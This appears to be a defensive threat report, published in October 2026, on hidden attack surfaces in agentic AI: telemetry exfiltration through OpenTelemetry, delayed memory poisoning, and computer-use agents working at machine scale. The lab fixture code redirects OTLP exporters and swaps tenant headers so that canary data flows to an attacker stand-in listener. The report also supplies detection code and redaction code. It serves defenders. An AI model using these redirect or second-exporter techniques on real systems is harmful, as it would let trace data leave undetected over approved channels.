SHADOW CHANNELS

Published On : 2026-10-15
Share :
SHADOW CHANNELS

EXECUTIVE SUMMARY

The decision for a security team is straightforward: extend agent threat modeling beyond declared tools and permissions, then validate the telemetry path first. Trace Drain is the most tractable finding and the one whose central evasion claim can be tested without touching a vendor production service. This report provides that test design and a reference detection implementation. Neither has been executed.

A security boundary is a claim about three things: what an adversary can observe, when they can act, and what channel they can move data through. This report examines three places where agentic AI infrastructure adds capability on one of those three axes without necessarily appearing in reviews centered on an agent’s declared tools.

None of the three findings below is presented as a reported incident. Each is an architectural analysis built from documented product capabilities, public incident reporting, and analytical inference. The report distinguishes verified facts from assumptions, untested links, and proposed validation. Where this report contains expected outcomes, those expectations are marked [A] and were written before testing.

Trace Drain

LLM observability is increasingly integrated into agent frameworks, and tracing systems can capture prompts, completions, tool arguments, and metadata as part of normal operation. The security question is not whether an attacker with code execution can exfiltrate data. That is usually already possible. The narrower question is whether an attacker can abuse an existing telemetry path, or augment it, in a way that receives the same network treatment as sanctioned observability traffic and is therefore harder to distinguish from normal operation. OpenTelemetry documents runtime environment configuration for OTLP exporters, including the endpoint variables used by the Python implementation [C]. This report treats the exact runtime behavior of a pinned implementation as an experimental question rather than assuming it.

Sleeper Context

Memory and session history can have different lifecycles. OpenAI documents that saved memories are stored separately from chat history and are not necessarily deleted when the source chat is deleted [C]. Anthropic documents that memory persists across chats and that deleting or expiring a conversation does not itself remove related memory entries [C]. The strongest finding is forensic: retention asymmetry can make it harder to connect a later behavior change to the session that created the relevant memory. A separate exploitation hypothesis, that an apparently benign entry can be engineered to become materially unsafe only when combined with later context, is not claimed as established here and requires product-specific testing.

The Sighted Adversary

Computer-use agents can interpret rendered screens and operate inside legitimate sessions [C]. This report does not claim that they defeat encryption, authentication, or authorization. It separates two problems that are often conflated: a delegated agent with broad legitimate access raises an authorization-scope and excessive-agency question, while public-site automation raises an anti-abuse question. The novel focus here is narrower: friction-based UI controls that relied on human attention as an implicit rate limiter may provide less resistance when a computer-use agent performs the same viewing and extraction work at machine scale.

What is verified, what is assumed, what remains untested

Finding Verified core fact [C] Analytical inference [A] Current status
Trace Drain Tracing/export configuration surfaces exist; OTLP supports documented endpoint configuration; supply-chain incidents demonstrate code execution in package paths. A compromised component could alter or augment tracing, and some telemetry paths may be easier to blend with sanctioned traffic than direct exfiltration. Feasible. Validation design complete; not executed.
Sleeper Context Memory can persist separately from source conversation/session lifecycle. A benign-seeming entry might be weaponized by later unrelated context and complicate reconstruction. Feasible architecture; exploitation hypothesis unverified.
Sighted Adversary Commercial computer-use agents can interpret and act on rendered interfaces. Some non-CAPTCHA friction controls may lose their rate-limiting effect at machine scale. Feasible; control effectiveness requires measurement.

METHODOLOGY

This report is an original architectural analysis, not an incident report, penetration test, or controlled capability evaluation. Each finding starts from a specific, named capability or incident, identifies the security property that capability changes, and then separates documented evidence from analytical inference.

What we examined

Public SDK and product documentation for tracing, memory, and computer-use capabilities; independent reporting on the March 2026 LiteLLM supply-chain incident and the April 2026 Bitwarden CLI package compromise; current MITRE ATT&CK, MITRE ATLAS, and OWASP GenAI 2025 security mappings; and existing research on memory poisoning and delayed prompt injection. Documentation dates and URLs are provided in the references section.

What we did not do

No proof of concept, controlled attack, vendor-production test, or computer-use capability evaluation has been executed for this report. The Trace Drain section contains a validation plan and reference code only. The memory and computer-use findings also contain no executed results.

Confidence labels

[C] means confirmed by the organization whose product or incident is described, or independently corroborated by a separate source. [R] means reported by a specific source but not independently confirmed for this report. [A] means CYFIRMA analytical inference built from the preceding facts. A CYFIRMA-authored source does not become [C] merely because it is internally documented.

Maturity labels

We retain MITRE ATLAS terminology for the maturity of the mechanism, but we do not imply that ATLAS has reviewed or rated this report. Feasible means the relevant architectural components are documented and combine logically. Demonstrated means the behavior has been exercised in a controlled setting by this report or a cited source. Realized means it has occurred against a real target. Documentation of a configurable setting is not itself a Demonstrated result. Where a security consequence rests on an unverified link, the finding is explicitly described as an exploitation hypothesis.

Falsifiability

Each finding identifies what evidence would strengthen it and what evidence would narrow or falsify it. A negative result is a reportable outcome, not a failed experiment.

THE UNIFYING PATTERN

Figure 1. Shared threat-model boundary used by the report. The findings are related by scope, not by a single attack chain.

The three findings are best understood as three independent observations about capabilities that can sit outside an agent’s declared tool interface. Trace Drain concerns the data channel, Sleeper Context concerns the time between creation and effect, and the Sighted Adversary concerns the scale at which visual interaction can be automated. They do not share a cause, a common attacker precondition, or a single control owner.

That distinction matters. A telemetry pipeline outside the tool interface may still be logged and controlled by the observability team. A memory entry surviving longer than its source chat is not itself a security failure. A visual agent operating within a legitimate authorization scope has not bypassed access control. The report therefore does not claim universal exposure. It identifies areas where the threat model can be incomplete unless the surrounding infrastructure and its actual security properties are reviewed.

Related AI-infrastructure exposure research provides context for this concern, but not confirmation of these findings. Knostic reported identifying 1,862 internet-exposed MCP servers and manually verifying 119 of them; all 119 in that sample allowed an unauthenticated caller to list the server’s internal tools [R]. The study is evidence of a broader deployment-hardening problem in adjacent AI infrastructure, not evidence for Trace Drain, Sleeper Context, or the Sighted Adversary.

SHADOW CHANNEL I: TRACE DRAIN

Figure 2. Trace Drain attack surface. The primary question is whether legitimate observability traffic can be redirected, augmented, or over-collected without receiving the same scrutiny as direct exfiltration.

Trace Drain is the most concrete finding in this report. The documented core fact is that tracing infrastructure can be configured to export telemetry and that observability data can contain the same sensitive values the agent handled during execution. OpenTelemetry documents environment-based endpoint configuration for OTLP exporters, including OTEL_EXPORTER_OTLP_ENDPOINT, and the Python SDK supports OTLP exporters [C].

The supply-chain prerequisite is also grounded in real incident reporting, but the incidents must be characterized accurately. LiteLLM reported that PyPI versions 1.82.7 and 1.82.8 were compromised on March 24, 2026, including a malicious payload in proxy_server.py and, in 1.82.8, a litellm_init.pth file [C]. Bitwarden reported that @bitwarden/cli version 2026.4.0 was distributed through npm during an April 22, 2026, supply-chain incident [C]. Independent analysis reported a malicious payload executed with Bun and abuse of a GitHub Actions workflow in that incident [R]. Bitwarden CLI is not AI tooling. Its relevance here is narrower: it is an additional supply-chain precedent showing that a compromised developer-side package can execute code in the same environment where agents and their dependencies may run.

Attacker precondition. The reference incidents demonstrate credential-stealing or secret-access capability, not telemetry manipulation. An attacker with comparable code execution often has cheaper direct paths. The value of Trace Drain is therefore detection evasion or reduction of monitoring friction, not newly acquired exfiltration capability.

Three distinct Trace Drain variants

  1. Over-collection. The simplest and most grounded risk is that normal tracing already exports prompts, completions, tool arguments, and sensitive attributes to a third-party system. Broad access to that trace store, insufficient redaction, or weak tenant controls can create a data exposure path without any endpoint manipulation. This is a data-governance and access-control issue as much as an attacker technique.
  2. Attacker tenant on the approved endpoint. Instead of redirecting traffic to a new host, an attacker changes or replaces tenant credentials so trace data reaches a tenant or account they control on the same approved observability service. Hostname-only allowlists do not distinguish tenants. This variant most directly tests the report’s trusted-traffic argument.
  3. Augmentation or redirect. A compromised process can attempt to add a second exporter or redirect an exporter to an alternate destination. A redirect to an unapproved host would ordinarily break a domain allowlist and therefore should not be presented as proof of stealth. The more interesting augmentation case leaves the primary configuration unchanged and adds an additional exporter. Post-initialization changes are a separate timing question.

The mechanism, precisely

The claim is about asymmetry in detection. Direct exfiltration usually creates a new destination or protocol path that security controls can compare against policy. Telemetry abuse can instead exploit a destination already approved because the organization needs it for monitoring. The security advantage, if it exists, comes from inheriting the network and operational trust attached to the observability channel.

The report does not assume that telemetry is uninspected. TLS inspection, destination enforcement, egress proxies, tenant-aware controls, DLP, EDR, or vendor-side anomaly detection may all narrow the gap. The test plan therefore includes multiple control arms and a direct-exfiltration control. A result that shows telemetry abuse is no easier to detect than direct exfiltration does not support the evasion claim.

What would change our confidence?

Toward Demonstrated: execute the controlled validation plan in the next section and show at least one variant changing the observable security outcome under a clearly stated privilege model. Against the finding: the pinned SDK does not permit the relevant mutation, the collector architecture blocks the variant before data leaves, or independent controls detect telemetry variants at least as readily as the direct-exfiltration control.

Framework mapping

Framework Mapping Why it applies
MITRE ATT&CK T1195 Supply Chain Compromise Relevant to the entry condition when a compromised package or dependency provides code execution.
MITRE ATT&CK T1567 Exfiltration Over Web Service Relevant to telemetry or vendor-service channels used to move data over an already-used web service.
MITRE ATT&CK T1071 Application Layer Protocol Relevant where the telemetry path uses HTTP or another application-layer protocol.
MITRE ATLAS AML.T0010.001 AI Supply Chain Compromise: AI Software Relevant to supply-chain compromise involving AI software components, where the tested dependency falls within that technique.
MITRE ATLAS AML.T0025 Exfiltration via Cyber Means Relevant to the exfiltration consequence; exact sub-technique use should follow the current ATLAS release used by the reviewer.
MITRE ATLAS AML.T0081 Modify AI Agent Configuration Relevant to configuration mutation where the attacker changes the agent or supporting infrastructure configuration.
OWASP GenAI 2025 LLM02 Sensitive Information Disclosure; LLM03 Supply Chain; LLM06 Excessive Agency Relevant respectively to sensitive trace content, compromised dependencies, and the expanded capability surface around an agent.

Recommendations specific to this channel

  • Route agent telemetry through an organization-controlled OpenTelemetry Collector and restrict application egress to that collector only. Keep vendor credentials on the collector rather than in the agent process.
  • Redact prompts, completions, and secret-named attributes at the collector before export. Treat trace payloads as sensitive application data, not as harmless metadata.
  • Protect tracing endpoints and credentials as change-monitored configuration. Monitor endpoint, credential, proxy, certificate, and tracing-disable settings, while accounting for legitimate internal collectors and loopback endpoints.
  • Pin dependencies, verify package hashes, maintain an SBOM, use provenance or trusted-publishing checks where available, and apply a release-age cooldown before adopting newly published dependency versions.
  • Alert on new or changed executable .pth files in agent environments and send alerts to a sink outside the application trust domain.

Trace Drain preconditions and defender view

Precondition Existing blocker Cheaper alternative for attacker Detection opportunity Assessment
Code execution in the agent or build environment Process isolation, package integrity, EDR, CI controls Direct credential theft or direct HTTPS exfiltration EDR, FIM, package provenance, CI logs Required but not unique to Trace Drain
Telemetry contains sensitive data Redaction, capture controls, data minimization Steal secrets directly DLP, trace review, secret scanning Grounded exposure risk
Endpoint or exporter can be altered/augmented Pinned collector, read-only config, process isolation Direct exfiltration Config drift, tripwire, egress telemetry Primary technical hypothesis
Approved vendor channel accepts attacker-controlled tenant Tenant-aware egress, credential scoping, vendor detection Direct outbound connection Credential drift, vendor audit logs, TLS-aware proxy Strongest evasion variant
Variant Likelihood Impact Attacker cost Why
Over-collection Medium High Low Can occur without endpoint manipulation if sensitive trace data is already exported and broadly accessible.
Attacker tenant Low-Medium High Medium Requires credential or routing manipulation but can preserve the approved vendor hostname.
Second exporter / redirect Low-Medium High Medium Requires pipeline modification; redirect often breaks simple allowlists while augmentation may not.

SHADOW CHANNEL I (VALIDATION): TRACE DRAIN TEST PLAN AND REFERENCE IMPLEMENTATION

This section converts the Trace Drain hypothesis into a testable design. Everything in it is a plan or reference code. None of it has been executed, no results exist, and the maturity of the finding therefore remains Feasible. The purpose is to let a reader with a lab reproduce, confirm, or refute the mechanism, and to give defenders a detection starting point whether or not the finding is ever confirmed.

Objective

Determine whether a component with code-execution privilege comparable to the reported 2026 supply-chain incidents can alter or augment an LLM tracing pipeline so that trace content leaves the application trust domain, and determine which controls detect or block each variant.

This plan validates one mechanism in one lab against OpenTelemetry Python with the OTLP HTTP exporter. A result should not be generalized to tracing SDKs as a category. It does not test Sleeper Context or the Sighted Adversary.

Scope and exclusions

  • Lab only. Activity runs on an isolated network with no route to production, verified before testing begins.
  • No third-party targets. Do not send test traffic to any observability vendor production service without prior written authorization. Vendor behavior is simulated with a lab mock.
  • Synthetic data only. No real credentials, customer data, or organizational secrets. Placeholder keys must be non-functional.
  • Inert simulation. The attacker simulation is a lab fixture that refuses to run outside the lab and refuses non-loopback destinations. No real malware samples are used.
  • Sign-off. Security leadership and legal or compliance approve the plan before execution.

Privilege models

The two reference incidents differ, so one privilege model would answer the wrong question. Each test is run under three models:

Model Description Basis
P1 Code executing inside the agent’s Python process at startup or import time LiteLLM reported malicious code in package execution paths, including proxy_server.py and a .pth file [C]. Exact startup mechanism must be recorded from the source and pinned fixture.
P2 Separate process under the same OS user as the agent Captures a developer-side package payload model and tests access to files, configuration, and network identity without assuming in-process execution [R].
P3 Tampering at build or CI time before the agent starts Supply-chain incidents entered through package and CI/CD paths [C/R].

No model assumes network-level access or valid credentials to a real tracing vendor platform.

Variants under test

  • Pre-init redirect. Export endpoint changed before the SDK constructs its exporter.
  • Post-init redirect. Environment changed after the exporter exists.
  • Second exporter. An additional exporter is attached to the existing provider. Primary traffic and environment configuration remain unchanged.
  • Metadata smuggling. Unexpected content is written into span attributes sent to the legitimate destination.
  • Attacker tenant on the approved host. Credentials are changed so traffic remains on the approved vendor hostname but is associated with an attacker-controlled lab tenant.
  • Control arm. The same canary data is sent by a plain HTTPS request. The report’s claim is about detection difficulty, so without this control arm, the evasion claim cannot be evaluated.

Expected outcomes, stated in advance

Writing expectations before running prevents reading results as confirmation afterward. These are [A] hypotheses, not observations.

Variant Expected under P1 [A] Expected under P2/P3 [A] Question to resolve
A May succeed if endpoint is read at exporter construction and mutation precedes it. May require configuration or build-time alteration. Where and when does the pinned exporter read endpoint configuration?
B Environment change alone is not expected to mutate an existing exporter. Depends on whether the second process changes shared config or restarts the agent. Can an already-created exporter be changed by monkeypatching or object mutation?
C May succeed if the provider accepts an additional processor/exporter. Depends on whether the actor can modify startup/build configuration. Can a second exporter be added without changing primary configuration?
D Expected to reach the legitimate destination if attributes are exported without schema restriction. Same if the process can influence span attributes. How much content is captured and what redaction settings apply?
E May succeed and defeat hostname-only tenant distinction. Depends on where credentials are stored and how tenant identity is enforced. Can independent controls distinguish tenants on the same hostname?

Lab environment

Figure 3. Controlled Trace Drain validation topology. The vendor is represented by a lab mock, and the collector arm provides the reference remediation path.

  • An isolated segment containing an agent host, collector host, mock vendor, and lab listener.
  • A minimal agent instrumented with OpenTelemetry Python and OTLP HTTP export, sending initially to the mock vendor.
  • A mock vendor accepting two tenant tokens and logging which tenant received each request.
  • A lab listener representing attacker infrastructure, bound only to loopback or the isolated segment.
  • A lab CA and DNS override so TLS inspection and tenant-aware policy can be tested.
  • Unique canary tokens in prompts, completions, tool arguments, and metadata, so exactly which fields arrive is observable.

Reference environment packages: opentelemetry-sdk, opentelemetry-exporter-otlp-proto-http, and psutil. The exact SDK version must be pinned in the experiment record before execution.

Reference implementation

Design status: The following components are reference code only. They have not been executed as part of this report.

Component 1: lab listener

# lab_listener.py : lab-only. Reports which canaries arrive in each request.

import json, sys

from http.server import BaseHTTPRequestHandler, HTTPServer

 

CANARIES = [b”CANARY-PROMPT-7f3a”, b”CANARY-TOOLARG-91bc”, b”CANARY-META-c04d”]

 

class Handler(BaseHTTPRequestHandler):

def do_POST(self):

body = self.rfile.read(int(self.headers.get(“Content-Length”, 0)))

print(json.dumps({

“path”: self.path,

“bytes”: len(body),

“tenant”: self.headers.get(“x-tenant”, “”),

“canaries_seen”: [c.decode() for c in CANARIES if c in body],

}), flush=True)

self.send_response(200)

self.end_headers()

self.wfile.write(b”{}”)

 

def log_message(self, *args):

pass

 

if __name__ == “__main__”:

port = int(sys.argv[1]) if len(sys.argv) > 1 else 9999

HTTPServer((“127.0.0.1”, port), Handler).serve_forever()

 

Component 2: agent fixture and inert simulation harness

# lab_fixture.py : minimal instrumented agent plus inert variant simulations.

import os, sys

from urllib.parse import urlparse

from opentelemetry import trace

from opentelemetry.sdk.trace import TracerProvider

from opentelemetry.sdk.trace.export import BatchSpanProcessor

from opentelemetry.exporter.otlp.proto.http.trace_exporter import OTLPSpanExporter

from opentelemetry.exporter.otlp.proto.http import Compression

 

APPROVED = “http://127.0.0.1:4318/v1/traces”      # mock vendor

LAB_LISTENER = “http://127.0.0.1:9999/v1/traces”  # lab attacker stand-in

 

 

def guard():

if os.environ.get(“TRACE_DRAIN_LAB”) != “1”:

sys.exit(“Refusing to run outside the lab (TRACE_DRAIN_LAB is not set).”)

if urlparse(LAB_LISTENER).hostname not in (“127.0.0.1”, “localhost”):

sys.exit(“Refusing non-loopback destination.”)

 

 

def build_provider():

provider = TracerProvider()

provider.add_span_processor(BatchSpanProcessor(

OTLPSpanExporter(endpoint=APPROVED, compression=Compression.NoCompression)))

trace.set_tracer_provider(provider)

return provider

 

 

def variant_a_pre_init():

guard()

os.environ[“OTEL_EXPORTER_OTLP_ENDPOINT”] = LAB_LISTENER

 

 

def variant_b_post_init():

guard()

os.environ[“OTEL_EXPORTER_OTLP_ENDPOINT”] = LAB_LISTENER

def variant_c_second_exporter(provider):

guard()

provider.add_span_processor(BatchSpanProcessor(

OTLPSpanExporter(endpoint=LAB_LISTENER, compression=Compression.NoCompression)))

def variant_e_attacker_tenant():

guard()

os.environ[“OTEL_EXPORTER_OTLP_HEADERS”] = “x-tenant=attacker-lab”

def emit_work(variant_d=False):

tracer = trace.get_tracer(“lab-agent”)

with tracer.start_as_current_span(“agent.step”) as span:

span.set_attribute(“llm.prompt”, “CANARY-PROMPT-7f3a”)

span.set_attribute(“tool.args”, “CANARY-TOOLARG-91bc”)

if variant_d:

span.set_attribute(“session_ctx”, “CANARY-META-c04d”)

Whether a second set_tracer_provider call is rejected by the SDK is itself a test question [A]. Record the result instead of assuming a provider replacement model.

Component 3: external monitor

# trace_drain_monitor_v2.py

# Detection-only monitor for a separate target process.

# Important: /proc/<pid>/environ on Linux reflects the process startup

# environment. In-process changes after start need the tripwire below.

import argparse, hashlib, hmac, ipaddress, json, math, re, socket, sys

from dataclasses import dataclass, field

from datetime import datetime, timezone

from pathlib import Path

from urllib.parse import urlparse

import psutil

ENDPOINT_VARS = {

“OTEL_EXPORTER_OTLP_ENDPOINT”, “OTEL_EXPORTER_OTLP_TRACES_ENDPOINT”,

“LANGSMITH_ENDPOINT”, “LANGFUSE_BASE_URL”, “LANGFUSE_HOST”,

“HELICONE_API_BASE”, “HONEYCOMB_API_ENDPOINT”, “DD_TRACE_AGENT_URL”,

“LANGTRACE_API_HOST”,

}

CREDENTIAL_VARS = {

“OTEL_EXPORTER_OTLP_HEADERS”, “OTEL_EXPORTER_OTLP_TRACES_HEADERS”,

“LANGCHAIN_API_KEY”, “LANGSMITH_API_KEY”, “LANGFUSE_PUBLIC_KEY”,

“LANGFUSE_SECRET_KEY”, “HELICONE_API_KEY”, “HONEYCOMB_API_KEY”,

“DD_API_KEY”, “LANGTRACE_API_KEY”,

}

PATH_VARS = {

“HTTPS_PROXY”, “HTTP_PROXY”, “ALL_PROXY”, “NO_PROXY”,

“SSL_CERT_FILE”, “SSL_CERT_DIR”, “REQUESTS_CA_BUNDLE”, “CURL_CA_BUNDLE”,

“OTEL_EXPORTER_OTLP_CERTIFICATE”, “OTEL_EXPORTER_OTLP_TRACES_CERTIFICATE”,

}

SWITCH_VARS = {“OTEL_SDK_DISABLED”, “OTEL_TRACES_EXPORTER”}

KIND_TABLES = ((“endpoint”, ENDPOINT_VARS), (“credential”, CREDENTIAL_VARS),

(“path”, PATH_VARS), (“switch”, SWITCH_VARS))

KEY_NAME = re.compile(

r”(?i)^(api[_-]?key|secret|password|access[_-]?token|auth[_-]?token|private[_-]?key|client[_-]?secret)$”

)

VALUE_PATTERNS = [

(re.compile(r”^[A-Za-z0-9+/]{40,}={0,2}$”), “looks base64-like”),

(re.compile(r”^[0-9a-fA-F]{32,}$”), “looks hex-like”),

(re.compile(r”(?i)(api[_-]?key|secret|token|password)\s*[:=]\s*\S{8,}”),

“contains a credential-like pair”),

(re.compile(r”—–BEGIN [A-Z ]+—–“), “contains key material”),

]

ENTROPY_THRESHOLD = 4.5

LENGTH_THRESHOLD = 2000

@dataclass

class Finding:

severity: str

category: str

message: str

detail: dict = field(default_factory=dict)

def emit(self):

print(json.dumps({

“ts”: datetime.now(timezone.utc).isoformat(),

“severity”: self.severity,

“category”: self.category,

“message”: self.message,

“detail”: self.detail,

}))

def classify(name):

up = name.upper()

for kind, names in KIND_TABLES:

if up in names:

return kind

return None

def sha(text):

return hashlib.sha256(text.encode()).hexdigest()

def snapshot_env(env):

snap = {}

for name, value in env.items():

kind = classify(name)

if kind:

snap[name] = {

“kind”: kind,

“hash”: sha(value),

“preview”: value if kind in (“endpoint”, “switch”) else “<hash only>”,

}

return snap

def scan_pth(dirs):

found = {}

for d in dirs:

for f in Path(d).glob(“*.pth”):

text = f.read_text(errors=”replace”)

executable = any(l.lstrip().startswith((“import “, “import\t”))

for l in text.splitlines())

found[str(f)] = {“hash”: sha(text), “executable”: executable}

return found

def load_policy(path):

p = json.loads(Path(path).read_text())

p.setdefault(“approved_hosts”, [])

p.setdefault(“approved_internal”, [])

if not p[“approved_hosts”] and not p[“approved_internal”]:

raise ValueError(“Policy has no approved destinations. Refusing to run open.”)

return p

def host_of(raw):

try:

u = urlparse(raw if “://” in raw else “//” + raw)

return (u.hostname or “”).lower().rstrip(“.”), bool(u.username or u.password)

except ValueError:

return “”, True

def host_status(host, policy):

if host in policy[“approved_internal”]:

return “internal”

if host in {“localhost”, “127.0.0.1”, “::1”}:

return “loopback”

try:

ip = ipaddress.ip_address(host)

if ip.is_loopback:

return “loopback”

if ip.is_private or ip.is_link_local or ip.is_reserved:

return “private_literal”

return “ip_literal”

except ValueError:

pass

for suffix in policy[“approved_hosts”]:

if host == suffix or host.endswith(“.” + suffix):

return “approved”

return “unapproved”

 

def check_endpoints(env, policy):

out = []

for name, value in env.items():

if classify(name) != “endpoint”:

continue

host, userinfo = host_of(value)

if userinfo or not host:

out.append(Finding(“critical”, “endpoint”,

f”{name} is malformed or embeds userinfo.”, {“variable”: name}))

continue

status = host_status(host, policy)

if status == “unapproved”:

out.append(Finding(“critical”, “endpoint”,

f”{name} points to unapproved host ‘{host}’.”,

{“variable”: name, “host”: host}))

elif status == “ip_literal”:

out.append(Finding(“warning”, “endpoint”,

f”{name} uses an external IP literal.”,

{“variable”: name, “host”: host}))

elif status == “loopback” and not policy.get(“allow_loopback”, False):

out.append(Finding(“warning”, “endpoint”,

f”{name} points to loopback but policy does not allow it.”,

{“variable”: name}))

return out

def check_drift(baseline_env, current_env):

out = []

for name in current_env.keys() – baseline_env.keys():

out.append(Finding(“warning”, “new_var”, f”{name} is set but absent at baseline.”,

{“variable”: name, “kind”: current_env[name][“kind”]}))

for name in baseline_env.keys() – current_env.keys():

sev = “warning” if baseline_env[name][“kind”] in (“endpoint”, “credential”, “switch”) else “info”

out.append(Finding(sev, “removed_var”, f”{name} was set at baseline and is now unset.”,

{“variable”: name}))

for name in baseline_env.keys() & current_env.keys():

if baseline_env[name][“hash”] != current_env[name][“hash”]:

kind = current_env[name][“kind”]

out.append(Finding(“critical”, “config_drift”,

f”{kind} variable {name} changed since baseline.”,

{“variable”: name, “kind”: kind}))

return out

 

def check_pth_drift(baseline_pth, current_pth):

out = []

for path, info in current_pth.items():

old = baseline_pth.get(path)

if old is None or old[“hash”] != info[“hash”]:

sev = “critical” if info[“executable”] else “warning”

out.append(Finding(sev, “startup_hook”,

f”New or changed .pth file {path}.”,

{“path”: path, “executable”: info[“executable”]}))

return out

 

def check_connections(proc, policy):

ok_ips = set()

for h in policy[“approved_hosts”] + policy[“approved_internal”]:

try:

ok_ips.update(i[4][0] for i in socket.getaddrinfo(h, None))

except socket.gaierror:

continue

getter = getattr(proc, “net_connections”, None) or proc.connections

out = []

for c in getter(kind=”inet”):

if c.status != psutil.CONN_ESTABLISHED or not c.raddr:

continue

try:

ip = ipaddress.ip_address(c.raddr.ip)

except ValueError:

continue

if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_reserved or c.raddr.ip in ok_ips:

continue

out.append(Finding(“warning”, “connection”,

f”Outbound connection to {c.raddr.ip}:{c.raddr.port} matches no approved destination.”,

{“ip”: c.raddr.ip, “port”: c.raddr.port}))

return out

def entropy(s):

counts = {}

for ch in s:

counts[ch] = counts.get(ch, 0) + 1

return -sum((n / len(s)) * math.log2(n / len(s)) for n in counts.values())

def scan_metadata(obj, path=”metadata”, key=None):

out = []

if key and KEY_NAME.match(key):

out.append(Finding(“critical”, “metadata”, f”Field {path} is named like a secret.”, {“path”: path}))

if isinstance(obj, dict):

for k, v in obj.items():

out += scan_metadata(v, f”{path}.{k}”, k)

elif isinstance(obj, list):

for i, v in enumerate(obj):

out += scan_metadata(v, f”{path}[{i}]”, key)

elif isinstance(obj, str):

if len(obj) > LENGTH_THRESHOLD:

out.append(Finding(“warning”, “metadata”, f”{path} is unusually large.”, {“path”: path, “length”: len(obj)}))

if len(obj) >= 32 and entropy(obj) > ENTROPY_THRESHOLD:

out.append(Finding(“warning”, “metadata”, f”{path} has high entropy.”, {“path”: path}))

for pattern, label in VALUE_PATTERNS:

if pattern.search(obj):

out.append(Finding(“warning”, “metadata”, f”{path} {label}.”, {“path”: path}))

return out

def sign(key, obj):

return hmac.new(key, json.dumps(obj, sort_keys=True).encode(), hashlib.sha256).hexdigest()

def save_baseline(path, key, data):

path.write_text(json.dumps({“data”: data, “sig”: sign(key, data)}, indent=2))

def load_baseline(path, key):

blob = json.loads(path.read_text())

if not hmac.compare_digest(blob[“sig”], sign(key, blob[“data”])):

raise ValueError(“signature mismatch”)

return blob[“data”]

 

def main():

ap = argparse.ArgumentParser()

ap.add_argument(“–pid”, type=int, required=True)

ap.add_argument(“–policy”, required=True)

ap.add_argument(“–baseline”, required=True)

ap.add_argument(“–hmac-key-file”, required=True)

ap.add_argument(“–site-packages”, action=”append”, default=[])

ap.add_argument(“–metadata-file”)

ap.add_argument(“–init-baseline”, action=”store_true”)

a = ap.parse_args()

try:

policy = load_policy(a.policy)

key = Path(a.hmac_key_file).read_bytes().strip()

proc = psutil.Process(a.pid)

env = proc.environ()

except Exception as e:

print(f”configuration error: {e}”, file=sys.stderr)

return 3

current = {“env”: snapshot_env(env), “pth”: scan_pth(a.site_packages)}

if a.init_baseline:

save_baseline(Path(a.baseline), key, current)

return 0

findings = check_endpoints(env, policy)

try:

base = load_baseline(Path(a.baseline), key)

findings += check_drift(base[“env”], current[“env”])

findings += check_pth_drift(base[“pth”], current[“pth”])

except FileNotFoundError:

print(“configuration error: no baseline. Run trusted initialization first.”, file=sys.stderr)

return 3

except ValueError:

findings.append(Finding(“critical”, “baseline”, “Baseline signature mismatch.”))

findings += check_connections(proc, policy)

if a.metadata_file:

findings += scan_metadata(json.loads(Path(a.metadata_file).read_text()))

for f in findings:

f.emit()

if any(f.severity == “critical” for f in findings): return 2

return 1 if any(f.severity == “warning” for f in findings) else 0

if __name__ == “__main__”:

sys.exit(main())

Component 4: in-process tripwire

# trace_drain_tripwire.py : version-sensitive in-process tripwire.

import hashlib, json, os, time

from opentelemetry import trace

from opentelemetry.sdk.trace import SpanProcessor

WATCHED = (

“OTEL_EXPORTER_OTLP_ENDPOINT”, “OTEL_EXPORTER_OTLP_TRACES_ENDPOINT”,

“OTEL_EXPORTER_OTLP_HEADERS”, “OTEL_SDK_DISABLED”, “OTEL_TRACES_EXPORTER”,

“HTTPS_PROXY”, “SSL_CERT_FILE”,

)

def _env_hash():

blob = json.dumps({k: os.environ.get(k) for k in WATCHED}, sort_keys=True)

return hashlib.sha256(blob.encode()).hexdigest()

 

def _pipeline():

provider = trace.get_tracer_provider()

multi = getattr(provider, “_active_span_processor”, None)

rows = []

for p in getattr(multi, “_span_processors”, ()):

exp = getattr(p, “span_exporter”, None) or getattr(p, “_exporter”, None)

rows.append((type(p).__name__, type(exp).__name__, str(getattr(exp, “_endpoint”, “”))))

return rows

class TraceDrainTripwire(SpanProcessor):

def __init__(self, alert, recheck_seconds=30):

self._alert, self._every = alert, recheck_seconds

self._env0 = self._pipe0 = None

self._next = 0.0

def arm(self):

self._env0, self._pipe0 = _env_hash(), _pipeline()

self._next = time.monotonic() + self._every

def on_start(self, span, parent_context=None):

pass

def on_end(self, span):

if self._env0 is not None and time.monotonic() >= self._next:

self._next = time.monotonic() + self._every

if _env_hash() != self._env0:

self._alert(“critical”, “watched telemetry environment changed since arm()”)

if _pipeline() != self._pipe0:

self._alert(“critical”, “span processor or exporter pipeline changed since arm()”)

def shutdown(self):

pass

def force_flush(self, timeout_millis=30000):

return True

The tripwire relies on private SDK attributes such as _active_span_processor and _endpoint. Those attributes are version-sensitive and must be validated against the pinned SDK release before use. Code with the same privilege can remove or bypass the tripwire, so alerts must go to a sink outside the application trust domain.

Component 5: collector-enforced reference architecture

# otel-collector.yaml : lab reference. Verify transform syntax for the collector version.

receivers:

otlp:

protocols:

http:

endpoint: 0.0.0.0:4318

processors:

memory_limiter:

check_interval: 1s

limit_mib: 512

transform/redact:

error_mode: ignore

trace_statements:

– context: span

statements:

– delete_matching_keys(attributes, “^gen_ai\\.(prompt|completion).*”)

– delete_matching_keys(attributes, “(?i)^(api[_-]?key|secret|password|token)$”)

batch: {}

exporters:

otlphttp/vendor:

endpoint: https://vendor-mock.lab:4318

headers:

authorization: ${env:VENDOR_OTLP_TOKEN}

service:

pipelines:

traces:

receivers: [otlp]

processors: [memory_limiter, transform/redact, batch]

exporters: [otlphttp/vendor]

Network policy sketch: application segments may reach only the organization-controlled collector; the collector may reach only the approved vendor destination. The exact firewall syntax is environment-specific and should be implemented as policy, not copied verbatim from this report.

Control arms

Arm Description
1 Egress allow-all
2 Hostname allowlist for the lab vendor domain only
3 Hostname allowlist plus TLS inspection and tenant-aware rule
4 Collector-enforced architecture
5 External monitor v2 only
6 External monitor v2 plus in-process tripwire

Procedure

  • Run the agent with no tampering for 24 hours. Record the monitor false-positive rate. Tune entropy and length thresholds only from this clean run and preserve the untuned baseline for comparison.
  • Per cell. For each arm, variant, and privilege model, record whether the data arrived at the alternate listener or tenant, which canaries were present, which source detected it, and the first time a security control could have flagged it.
  • Detection points, not scheduler time. A scheduled monitor’s interval mostly measures its schedule. Use independent event timestamps from egress logs, DNS, EDR, FIM, collector, monitor, and tripwire.
  • Run the direct-exfiltration control through every relevant arm so detectability can be compared.
